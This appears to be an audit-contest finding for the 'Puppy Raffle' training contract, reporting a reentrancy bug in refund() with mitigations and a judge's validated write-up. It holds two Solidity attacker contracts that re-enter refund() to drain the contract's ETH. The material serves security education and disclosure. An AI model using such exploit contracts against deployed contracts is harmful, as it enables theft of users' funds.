Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy in refund() allows attacker to drain entire contract balance

stephensugianto

Root + Impact

Refund function allowing attacker to receive refund into their wallet for multiple times

Description

  • The refund() function is used to send ETH to a player that call this function.

    • First, this function store the address player to playerAddress variable. NExt, this function perform 2 checking :

      1. To check if the player address is equals to the caller of this function.

      2. Check if the player address is not equals to address zero, because if the player address equals address zero it is considered already refunded address.

  • The problem is, the state update occurs after the ETH transfer, instead of before. So, the attacker will always pass the checking. Code that update playerAddress to address zero is written after the contract send ETH to player asked for refund.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
payable(msg.sender).sendValue(entranceFee);
​
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood:

  • Reason 1: Any player who has registered to the raffle can write a contract to trigger refund() function and receive multiple ETH until all ETH from this contract already drained.

Impact:

  • All balance from contract can be drained

  • Another player who has registered to the raffle can't ask for refund if the balance already drained.

Proof of Concept

contract ReentrancyAttacker {
PuppyRaffle puppyRaffle;
uint256 attackerIndex;
​
constructor(PuppyRaffle _puppyRaffle) {
puppyRaffle = _puppyRaffle;
}
​
function attack() public payable {
// 1. Enter as a player
address[] memory players = new address[](1);
players[0] = address(this);
puppyRaffle.enterRaffle{value: msg.value}(players);
attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
​
// 2. call refund()
puppyRaffle.refund(attackerIndex);
}
​
receive() external payable {
// 3. call Refund() as long as contract still have balance
if(address(puppyRaffle).balance > 0){
puppyRaffle.refund(attackerIndex);
}
}
}
function test_Refund_Success() public {
address[] memory players = new address[](1);
players[0] = playerOne;
puppyRaffle.enterRaffle{value: ENTRANCE_FEE}(players);
​
uint256 balanceBefore = playerOne.balance;
vm.prank(playerOne);
puppyRaffle.refund(0);
​
assertEq(playerOne.balance, balanceBefore + ENTRANCE_FEE);
assertEq(puppyRaffle.players(0), address(0));
}
​
function test_Refund_RevertsIfNotPlayer() public {
address[] memory players = new address[](1);
players[0] = playerOne;
puppyRaffle.enterRaffle{value: ENTRANCE_FEE}(players);
​
vm.prank(playerTwo);
vm.expectRevert("PuppyRaffle: Only the player can refund");
puppyRaffle.refund(0);
}
​
function test_Refund_RevertsIfAlreadyRefunded() public {
address[] memory players = new address[](1);
players[0] = playerOne;
puppyRaffle.enterRaffle{value: ENTRANCE_FEE}(players);
​
vm.prank(playerOne);
puppyRaffle.refund(0);
​
vm.prank(playerOne);
vm.expectRevert("PuppyRaffle: Player already refunded, or is not active");
puppyRaffle.refund(0);
}

Recommended Mitigation

I recommend 2 recommended mitigation to do.

  1. Write contract using CEI Pattern as shown belo to make sure the function always do check, effect (to update state) and perform action to transfer ETH

  2. Use nonReentrant modifier provided by OpenZeppelin

// 1. Use CEI Pattern
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
// Check
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
// Effects
// Update state here
players[playerIndex] = address(0);
// Interactions
payable(msg.sender).sendValue(entranceFee);
​
emit RaffleRefunded(playerAddress);
}
​
// 2. Use nonReentrant modifier from OpenZeppelin
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
​
contract PuppyRaffle is ERC721, Ownable, ReentrancyGuard {
function refund(uint256 playerIndex) public nonReentrant {
// kode yang sama, tidak perlu diubah urutannya
}
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 18 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!